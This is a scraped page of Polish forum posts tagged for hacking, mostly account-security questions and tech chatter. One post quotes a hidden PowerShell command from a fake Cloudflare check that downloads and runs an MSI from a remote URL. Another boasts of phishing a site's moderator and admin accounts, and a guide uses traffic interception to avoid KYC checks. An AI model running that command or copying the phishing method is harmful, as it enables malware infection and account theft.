Wszystko

Najnowsze

Archiwum

clinair
clinair
  • 0
#onet #hacking #paywall Hej ! Macie jakąś dobrą metodę na paywall onetu ? kiedyś pomagał tryb incognito teraz powariowali i połowa wiadomości płatna :(
Znacie coś dobrego żeby to obejść ?
  • 1
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
grzegor9
grzegor9
  • 0
mirki i mireczki taka sprawa:
Z ciekawosci sobie w authenticatorze sprawdziłem atywność na koncie Microsoft i zauważyłem, że od kilku miesięcy kilka razy dziennie mam podejrzaną aktywność. Próby logowań z różnych miejsc - błędne hasło. Konto zabezpieczone aplikacją + mocne hasło. O co chodzi?
#microsoft #informatyka #hacking #komputery
  • 4
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
Saeglopur
  • 1
@grzegor9: Próbują ale sie odbijają to dobrze, to mogą być syfy bazujące na wyciekach haseł z innych źródeł. A z ciekawości gdzie dokłądnie tą historie sprawdziłeś? Też musze!
Mnie dawniej niepokoiły potwierdzenia logowań z jakiś dziwnych geolokalizacji no ale tak to klasyfikuje widocznie logowanie do różnych serwisów powiązanych
  • Odpowiedz
Kremufka2137
  • 2
@opiateterrorist przyznam, że sam byłem zaskoczony bo było sporo gadki w kręgach wiadomych, że teraz jak masz garstkę lekarzy i każdy wypisuje Ci to samo to będą się widzieć wzajemnie w systemie. Otóż nie. Założenia chyba takie były, ale na obecną chwilę nie ma takiej możliwości. Coś też mi babka wspominała o jakiejś dodatkowej licencji która byłaby do takich danych niezbędna, ale tutaj już nie pamiętam dokładnie, to było parę miesięcy
  • Odpowiedz
aptitude
  • 0
W sumie phising jest tak prosty jak usmażenie kotleta xD Po porostu stawia się stronę którą wygląda tak samo jak orignał, po prostu kradnie się HTML i CSS ale wszystko co dana osoba przesyła przez form jest po prostu zapisywane w moijej database, takie hehe, ja dzięki takiemu atakowi dostałem dostep do konta moderatora zapytaj.com.pl, ale potem poszukałem w prywatych wiadomościach i bang, mam hasło do konto admina :3 Nawet zrobiłem zdjęcia
  • 1
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
aptitude
  • 0
Treść przeznaczona dla osób powyżej 18 roku życia...
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
tomilipin
tomilipin
  • 1
Na stronie japomoto.pl wyskakuje mi pop-up niby od Cloudflare, że nie może zweryfikować, że jestem człowiekiem. Pokazuje się obrazek (poniżej) i automatycznie kopiuje mi do schowka kod

cmd /c start /min powershell -NoProfile -WindowStyle Hidden -Command $path='c:\users\public\3aw.msi'; Invoke-RestMethod -Uri 'https://cośtam.short.gy/1' -OutFile $path; Start-Process $path;
Adres w kodzie powyżej zmieniłem, żeby nikt się nie naciął. Oczywiście nic nie wklejam, ale jestem ciekaw co to polecenie zrobi.

Pomożecie rozszyfrować?
#hacking #wirus
tomilipin - Na stronie japomoto.pl wyskakuje mi pop-up niby od Cloudflare, że nie moż...

źródło: Zrzut ekranu 2025-02-10 210023

Pobierz
  • 7
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
gchmurka
  • 0
Co się stało z danymi #eurocert
Dane miały być opublikowane dzisiaj, na cebulkowej stronie grupy która dopuściła się kradzieży nie widać już wpisu odliczającego do publikacji, publikacji nie ma (a inne dane które miały zostać opublikowane dzisiaj już są do pobrania).

Przestraszyli się skali problemu i tego, że dotyka on raczej wysoko ustawionych w hierarchii społecznej ludzi (nie zwykły Kowalski) i się wycofali, czy #eurocert opłacił haracz?

#
  • 1
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
aptitude
  • 2
Wyrywałem sobie włosy przez kilka literek

Zamiast res.set("Content-Type", "application/xml"); musiałem zmienić na res.set("Content-Type", "text/xml");
To technologia z lat 2007

Ale teraz działa <3 Skoro wiem już jak ustawić MIME, ale to też ich wina, nikt w dokumentacji nie napisał, że musi być text/xml!
aptitude - Wyrywałem sobie włosy przez kilka literek Zamiast res.set("Content-Type...

źródło: 2025-01-24-15-03-37-037

Pobierz
  • 3
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
Saly
  • 0
@aptitude: widać, że nigdy nie pracowałeś z XMLem xd Z drugiej strony to tak idiotyczne, że istnieje to text vs application o które nikt nie daje j*****a póki nie zacznie się psuć
  • Odpowiedz
aptitude
  • 0
Właśnie stawiam serwisy na Cisco 7942G, i właśnie przez skórę czuje nostalgie jak dawniej było prosto gdzież się włamać nawet tak dla zabawy.
Mój openssh nawet nie chce się połączyć przez ssh z telefonem, bo jest za stary xD
Nawet to nie działa:

Host ciscodevice
Hostname
  • 3
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
aptitude
  • 0
@aptitude: w sumie szkoda, że nie ma 3 linii, bo przydałaby się do testów, bo teraz na pierwszej mam sip.sdf.org a na drugiej dus.net, a chciałbym dodać trzecią ale nie obsługuje, jak chce coś testować usuwam dus.net i zamieniam na własny serwer SIP. Bo na dus.net mogę tylko dzwonić i to dosłownie na każdy numer i to kosztuje tylko centy. Ale nie mam własnego numeru jak na sdf, na sdf
  • Odpowiedz
SendMeAnAngel
  • 2
Uruchomienie starej wersji aplikacji Kanga Wallet
Ten poradnik pozwala nadal używać wersji aplikacji Kanga Wallet, która nie pyta o KYC. Działa on na Androdzie 6 lub starszym, gdzie nie trzeba rootować telefonu, aby podsłuchać szyfrowaną komunikację HTTPS. Nowszymi wersjami zajmę się później.

1. Instalujemy PCAPdroid
2. Instalujemy PCAPdroid-mitm
3. adb shell
  • 7
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach
SendMeAnAngel
  • 1
Czy jeżeli giełda dojdzie do tego, że handlujesz bez KYC, to nie zablokuje ci środków?


@kamil-wasniewski: Dobre pytanie. Zgodnie z oficjalnym stanowiskiem Kangi można legalne handlować bez KYC spoza krajów EOG, czyli możesz połączyć się przez VPN np. z Ukrainy i aplikacja nie powinna zapytać o KYC.

Poradnik dotyczy możliwości dalszego korzystania ze starszej wersji aplikacji (jeśli ktoś nie aktualizuje).
  • Odpowiedz
Retka
Retka
  • 0
Przyszło mi powiadomienie od facebooka odnośnie nieznanego logowania, a sesja wygasła(w tym samym czasie jak straciłam internet w telefonie) Pierwszy raz taka sytuacja. Hasło od razu zmienione, wylogowane ze wszystkiego i dwustopniowa weryfikacja, email też zmieniony. Czy to możliwe, że to fałszywy alarm i facebook się rypnął z lokalizacją? I czy zrobić coś jeszcze, czy już jest safe? I w dzienniku aktywności było kilka razy wyszukiwane moje imię i nazwisko :/ #
Retka - Przyszło mi powiadomienie od facebooka odnośnie nieznanego logowania, a sesja...

źródło: image

Pobierz
  • 1
  • Odpowiedz

  • Otrzymuj powiadomienia
    o nowych komentarzach

Powiązane tagi